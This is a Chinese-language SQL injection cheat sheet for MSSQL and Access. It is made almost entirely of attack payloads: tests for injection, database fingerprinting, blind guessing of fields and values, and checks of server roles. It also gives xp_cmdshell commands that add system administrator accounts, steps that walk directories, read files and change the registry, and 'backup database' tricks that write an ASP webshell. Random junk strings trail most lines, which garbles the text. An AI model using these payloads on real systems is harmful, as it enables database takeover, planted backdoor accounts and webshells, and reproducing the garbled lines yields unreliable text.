1.判断是否有注入;and 1=1 ;and 1=2 |oKu=/[K
2.初步判断是否是mssql ;and user>0 c $;\i
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3.注入参数是字符'and [查询条件] and ''=' -Q$nA>trKA
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6DS43AQs
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5.判断数据库系统 +Al>2 ~
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;and (select count(*) from sysobjects)>0 mssql gqiXmMm:9
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;and (select count(*) from msysobjects)>0 access yM$J52#d#
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 3l:QeZ
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 XDmbm*~i
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 IvU{Xm"qB
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9.(1)猜字段的ascii值(access) W}gVIfe
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ?iSGH'[u
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(2)猜字段的ascii值(mssql) $4j^1U`~)K
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mx tgb$*
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10.测试权限结构(mssql) gA
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ya>N.h
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Q]i[.ME
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 75 Fp[Q-
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- D0M!"c>\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- gHH&IzHF
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F?2FITi_V
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;and 1=(select IS_MEMBER('db_owner'));-- 'wE\{1~_[+
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11.添加mssql和系统的帐户 5rF /323z
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;exec master.dbo.sp_addlogin username;-- E!YmcpCl
;exec master.dbo.sp_password null,username,password;-- {d}26 $<$]
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- r`>~Lp`
o}!&y?mp
;exec master.dbo.xp_cmdshell 'net user username password >Jiij
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Nh :JU?h
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- yTj p-
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }wG|%Y#+r
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12.(1)遍历目录 hs,5LV)|y
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;create table dirs(paths varchar(100), id int) Si[eAAd'
:
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;insert dirs exec master.dbo.xp_dirtree 'c:\' v['AB4
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;and (select top 1 paths from dirs)>0 X@eg<]'m
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !r2}59J
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(2)遍历目录 k$?&]! <o
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X`tOO
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sFD!7;
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 D~7%};D[
Ta,u-!/I
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 y!BB7cK6
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 iF+S%aPd#
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13.mssql中的存储过程 J;7s/YH^
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xp_regenumvalues 注册表根键, 子键 8[f8k3g
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !HbqbS22
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xp_regread 根键,子键,键值名 5=Zp%[#
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;exec xp_regread SG1&a:c+.
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 `s#sE.=o
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xp_regwrite 根键,子键, 值名, 值类型, 值 P~n8EO1r
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 #R5we3&p
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |2[S/8g!
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xp_regdeletevalue 根键,子键,值名 p3{x <AO/
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >2FAi.,
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 m
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14.mssql的backup创建webshell )w^GPlh
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use model ^=aml
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create table cmd(str image); 4Z<]4:o
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insert into cmd(str) values (''); @>qx:jx(-S
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backup database model to disk='c:\l.asp'; UIC\CP d
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15.mssql内置函数 BG(R=,
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;and (select @@version)>0 获得Windows的版本号 !D.= 'V
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa HPu/. oE
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;and (select user_name())>0 爆当前系统的连接用户 l044c,AW(
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;and (select db_name())>0 得到当前连接的数据库 se^NQ=
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16.简洁的webshell A{DIp+
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use model '$2oSd
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create table cmd(str image); 2|T|K?R^
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insert into cmd(str) values (''); i5L+8kx4
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backup database model to disk='g:\wwwtest\l.asp';